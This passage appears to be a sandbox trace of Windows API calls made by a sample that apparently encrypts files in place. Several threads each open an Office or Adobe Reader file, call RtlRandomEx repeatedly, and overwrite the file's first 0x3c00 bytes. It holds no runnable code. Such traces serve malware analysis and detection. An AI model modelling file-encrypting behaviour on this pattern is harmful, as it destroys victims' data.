Seed=0x1ef1fc70) returned 0x7a0196fa [0244.742] RtlRandomEx (in: Seed=0x1ef1fc70 | out: Seed=0x1ef1fc70) returned 0xe61484c [0244.742] RtlRandomEx (in: Seed=0x1ef1fc70 | out: Seed=0x1ef1fc70) returned 0x1316ea20 [0244.742] RtlRandomEx (in: Seed=0x1ef1fc70 | out: Seed=0x1ef1fc70) returned 0x5acff4b5 [0244.742] RtlRandomEx (in: Seed=0x1ef1fc70 | out: Seed=0x1ef1fc70) returned 0xef29db2 [0244.742] RtlRandomEx (in: Seed=0x1ef1fc70 | out: Seed=0x1ef1fc70) returned 0x1eec48b5 [0244.742] RtlRandomEx (in: Seed=0x1ef1fc70 | out: Seed=0x1ef1fc70) returned 0x596df9a [0244.742] RtlRandomEx (in: Seed=0x1ef1fc70 | out: Seed=0x1ef1fc70) returned 0x19a389e2 [0244.742] RtlRandomEx (in: Seed=0x1ef1fc70 | out: Seed=0x1ef1fc70) returned 0x72f0e93d [0244.743] RtlRandomEx (in: Seed=0x1ef1fc70 | out: Seed=0x1ef1fc70) returned 0x3f38dacc [0244.743] RtlRandomEx (in: Seed=0x1ef1fc70 | out: Seed=0x1ef1fc70) returned 0x78e73652 [0244.743] RtlRandomEx (in: Seed=0x1ef1fc70 | out: Seed=0x1ef1fc70) returned 0x5290b9fd [0244.743] RtlRandomEx (in: Seed=0x1ef1fc70 | out: Seed=0x1ef1fc70) returned 0x6b0f9969 [0244.743] RtlRandomEx (in: Seed=0x1ef1fc70 | out: Seed=0x1ef1fc70) returned 0x6be3621e [0244.743] RtlRandomEx (in: Seed=0x1ef1fc70 | out: Seed=0x1ef1fc70) returned 0xf02aa8e [0244.743] RtlRandomEx (in: Seed=0x1ef1fc70 | out: Seed=0x1ef1fc70) returned 0x16f47475 [0244.743] RtlRandomEx (in: Seed=0x1ef1fc70 | out: Seed=0x1ef1fc70) returned 0xef29db2 [0244.743] RtlRandomEx (in: Seed=0x1ef1fc70 | out: Seed=0x1ef1fc70) returned 0x155dcbef [0244.743] RtlRandomEx (in: Seed=0x1ef1fc70 | out: Seed=0x1ef1fc70) returned 0x2faffe95 [0244.743] RtlRandomEx (in: Seed=0x1ef1fc70 | out: Seed=0x1ef1fc70) returned 0x233844ac [0244.743] RtlRandomEx (in: Seed=0x1ef1fc70 | out: Seed=0x1ef1fc70) returned 0x313a40f6 [0244.743] RtlRandomEx (in: Seed=0x1ef1fc70 | out: Seed=0x1ef1fc70) returned 0x1a6773c3 [0244.752] SetFilePointerEx (in: hFile=0x32d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.752] ReadFile (in: hFile=0x32d8, lpBuffer=0x20486ac0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1ef1fce0, lpOverlapped=0x0 | out: lpBuffer=0x20486ac0*, lpNumberOfBytesRead=0x1ef1fce0*=0x3c00, lpOverlapped=0x0) returned 1 [0244.844] SetFilePointerEx (in: hFile=0x32d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420594c0 [0244.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebba60 [0244.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a9e0 [0244.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a9e0) returned 1 [0244.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2048e2e0 [0244.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a9e0 [0244.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf70 [0244.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bf70) returned 1 [0244.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebba60) returned 1 [0244.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420594c0) returned 1 [0244.847] WriteFile (hFile=0x32d8, lpBuffer=0x2048e2e0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1ef1fce0, lpOverlapped=0x0) Thread: id = 3993 os_tid = 0x1128 [0244.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SHOVEL.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\shovel.wav")) returned 0x20 [0244.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SHOVEL.WAV", dwFileAttributes=0x20) returned 1 [0244.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SHOVEL.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\shovel.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x116c [0244.637] GetFileSizeEx (in: hFile=0x116c, lpFileSize=0x206ffbc0 | out: lpFileSize=0x206ffbc0*=62792) returned 1 [0244.637] SetFilePointerEx (in: hFile=0x116c, liDistanceToMove=0xf544, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.637] ReadFile (in: hFile=0x116c, lpBuffer=0x206ffb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x206ffb88, lpOverlapped=0x0 | out: lpBuffer=0x206ffb40*, lpNumberOfBytesRead=0x206ffb88*=0x4, lpOverlapped=0x0) returned 1 [0244.731] SetFilePointerEx (in: hFile=0x116c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0ec0 [0244.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4880 [0244.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4820 [0244.732] NtQuerySystemTime (in: CurrentTime=0x206ffa80 | out: CurrentTime=0x206ffa80*=132462178485310000) returned 0x0 [0244.732] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0x455d0fb6 [0244.732] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0x16353dd7 [0244.732] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0x6f31b9f5 [0244.732] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0x74a7c3d0 [0244.732] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0x5c1b85a [0244.732] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0x1e9ffd27 [0244.732] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0x15009eb9 [0244.732] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0xc7c1061 [0244.732] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0x2834e972 [0244.732] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0x28638981 [0244.732] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0x5e26d2da [0244.732] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0x4f414d71 [0244.732] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0x6a031998 [0244.732] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0x5a017072 [0244.732] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0x798c2a5e [0244.732] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0x72f0e93d [0244.732] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0x7b236f5f [0244.732] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0x4b751ac9 [0244.732] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0x5290b9fd [0244.732] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0x5722c6ef [0244.732] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0x7d28ea69 [0244.732] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0x429d1bea [0244.732] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0xe009d63 [0244.732] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0x3fdc19d8 [0244.732] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0x6a4adc66 [0244.732] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0x492d55f2 [0244.732] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0xa9983d4 [0244.732] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0x31d2ebee [0244.733] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0x3aef5f29 [0244.733] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0x7f5fdfd9 [0244.733] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0x74358f8 [0244.733] RtlRandomEx (in: Seed=0x206ffa70 | out: Seed=0x206ffa70) returned 0x42256098 [0244.739] SetFilePointerEx (in: hFile=0x116c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.739] ReadFile (in: hFile=0x116c, lpBuffer=0x204aff70, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x206ffae0, lpOverlapped=0x0 | out: lpBuffer=0x204aff70*, lpNumberOfBytesRead=0x206ffae0*=0x3c00, lpOverlapped=0x0) returned 1 [0244.804] SetFilePointerEx (in: hFile=0x116c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420594c0 [0244.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebba60 [0244.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c80 [0244.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c80) returned 1 [0244.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x204a4b40 [0244.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c80 [0244.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c20 [0244.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c20) returned 1 [0244.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebba60) returned 1 [0244.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420594c0) returned 1 [0244.807] WriteFile (hFile=0x116c, lpBuffer=0x204a4b40, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x206ffae0, lpOverlapped=0x0) Thread: id = 3994 os_tid = 0xf84 [0244.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SPLASH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\splash.wav")) returned 0x20 [0244.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SPLASH.WAV", dwFileAttributes=0x20) returned 1 [0244.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SPLASH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\splash.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x32dc [0244.633] GetFileSizeEx (in: hFile=0x32dc, lpFileSize=0x2083f7e0 | out: lpFileSize=0x2083f7e0*=60886) returned 1 [0244.633] SetFilePointerEx (in: hFile=0x32dc, liDistanceToMove=0xedd2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.633] ReadFile (in: hFile=0x32dc, lpBuffer=0x2083f760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2083f7a8, lpOverlapped=0x0 | out: lpBuffer=0x2083f760*, lpNumberOfBytesRead=0x2083f7a8*=0x4, lpOverlapped=0x0) returned 1 [0244.718] SetFilePointerEx (in: hFile=0x32dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3140 [0244.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1550 [0244.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0ec0 [0244.719] NtQuerySystemTime (in: CurrentTime=0x2083f6a0 | out: CurrentTime=0x2083f6a0*=132462178485310000) returned 0x0 [0244.719] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0x10248e2c [0244.719] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0x6c66335a [0244.719] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0x50b7e5b0 [0244.719] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0x69e6223c [0244.719] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0x4f70de49 [0244.719] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0x6c5e59af [0244.719] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0x5abe3908 [0244.719] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0x1d60cafd [0244.719] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0x5093dcc6 [0244.719] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0xccc3f70 [0244.719] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0xf3602f7 [0244.719] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0x473a9e8b [0244.719] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0x31c41d97 [0244.719] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0x53409220 [0244.719] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0x7bc499cb [0244.719] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0x50f40946 [0244.719] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0x5b2b4ed9 [0244.719] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0x57822b04 [0244.719] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0x22458f5a [0244.719] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0x64e2b826 [0244.719] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0x2862e8b [0244.719] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0xdaa5f53 [0244.719] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0x1a689c97 [0244.719] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0xab61eae [0244.719] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0x355753e2 [0244.719] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0x49c7e703 [0244.719] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0x15aa940b [0244.719] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0x37561de3 [0244.720] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0x2be617b3 [0244.720] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0x14a3c630 [0244.720] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0x62cfcf86 [0244.720] RtlRandomEx (in: Seed=0x2083f690 | out: Seed=0x2083f690) returned 0x374e4503 [0244.727] SetFilePointerEx (in: hFile=0x32dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.727] ReadFile (in: hFile=0x32dc, lpBuffer=0x204b3b80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2083f700, lpOverlapped=0x0 | out: lpBuffer=0x204b3b80*, lpNumberOfBytesRead=0x2083f700*=0x3c00, lpOverlapped=0x0) returned 1 [0244.849] SetFilePointerEx (in: hFile=0x32dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420594c0 [0244.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebba60 [0244.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a6e0 [0244.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a6e0) returned 1 [0244.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x204b7790 [0244.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a6e0 [0244.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b6d0 [0244.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b6d0) returned 1 [0244.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebba60) returned 1 [0244.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420594c0) returned 1 [0244.852] WriteFile (hFile=0x32dc, lpBuffer=0x204b7790, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2083f700, lpOverlapped=0x0) Thread: id = 3995 os_tid = 0x11a8 [0244.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\WHOOSH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\whoosh.wav")) returned 0x20 [0244.623] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\WHOOSH.WAV", dwFileAttributes=0x20) returned 1 [0244.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\WHOOSH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\whoosh.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1168 [0244.638] GetFileSizeEx (in: hFile=0x1168, lpFileSize=0x2a81fb40 | out: lpFileSize=0x2a81fb40*=27580) returned 1 [0244.638] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x6bb8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.638] ReadFile (in: hFile=0x1168, lpBuffer=0x2a81fac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a81fb08, lpOverlapped=0x0 | out: lpBuffer=0x2a81fac0*, lpNumberOfBytesRead=0x2a81fb08*=0x4, lpOverlapped=0x0) returned 1 [0244.707] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3140 [0244.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1610 [0244.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1550 [0244.708] NtQuerySystemTime (in: CurrentTime=0x2a81fa00 | out: CurrentTime=0x2a81fa00*=132462178485154000) returned 0x0 [0244.708] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0x1763dff3 [0244.708] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0x7bdca71 [0244.708] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0x2216a1f4 [0244.708] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0x4c2d2f6c [0244.708] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0x7d43be52 [0244.708] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0x32804ddc [0244.708] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0x47521c15 [0244.708] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0x66d1b5a [0244.708] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0x1b8c30fa [0244.708] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0x5db8f54e [0244.708] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0x46666e3d [0244.708] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0x7fbd7014 [0244.708] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0x152eb6ba [0244.708] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0x3fff30d4 [0244.709] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0x22509e51 [0244.709] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0x60d06360 [0244.709] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0x11604c83 [0244.709] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0x488c66f3 [0244.709] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0x60b2ba7 [0244.709] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0x32d7dba4 [0244.709] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0x67c8b21c [0244.709] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0xe7ed84f [0244.709] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0x2297182e [0244.709] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0x447f3979 [0244.709] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0x2eb41ac5 [0244.709] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0xdd1977d [0244.709] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0x5a5aa467 [0244.709] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0x218e4a36 [0244.709] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0x315902f6 [0244.709] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0x464fedbf [0244.709] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0x4dba3bd0 [0244.709] RtlRandomEx (in: Seed=0x2a81f9f0 | out: Seed=0x2a81f9f0) returned 0x21deea7 [0244.716] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.716] ReadFile (in: hFile=0x1168, lpBuffer=0x2047b690, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2a81fa60, lpOverlapped=0x0 | out: lpBuffer=0x2047b690*, lpNumberOfBytesRead=0x2a81fa60*=0x3c00, lpOverlapped=0x0) returned 1 [0244.765] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420594c0 [0244.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebba60 [0244.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb16a0 [0244.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb16a0) returned 1 [0244.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2048a6d0 [0244.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb16a0 [0244.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1640 [0244.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb1640) returned 1 [0244.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebba60) returned 1 [0244.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420594c0) returned 1 [0244.768] WriteFile (hFile=0x1168, lpBuffer=0x2048a6d0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2a81fa60, lpOverlapped=0x0) Thread: id = 3996 os_tid = 0x1438 [0244.310] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\acroform.cat")) returned 0x20 [0244.843] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", dwFileAttributes=0x20) Thread: id = 3997 os_tid = 0x1abc [0244.311] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\adobecollabsync.cat")) returned 0x20 [0244.797] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", dwFileAttributes=0x20) Thread: id = 3998 os_tid = 0x1de0 [0244.312] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Annots.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\annots.cat")) returned 0x20 [0244.979] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Annots.CAT", dwFileAttributes=0x20) Thread: id = 3999 os_tid = 0x12fc [0244.313] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\BRdlang32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\brdlang32.cat")) returned 0x20 [0244.974] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\BRdlang32.CAT", dwFileAttributes=0x20) Thread: id = 4000 os_tid = 0x11b0 [0244.314] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Checkers.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 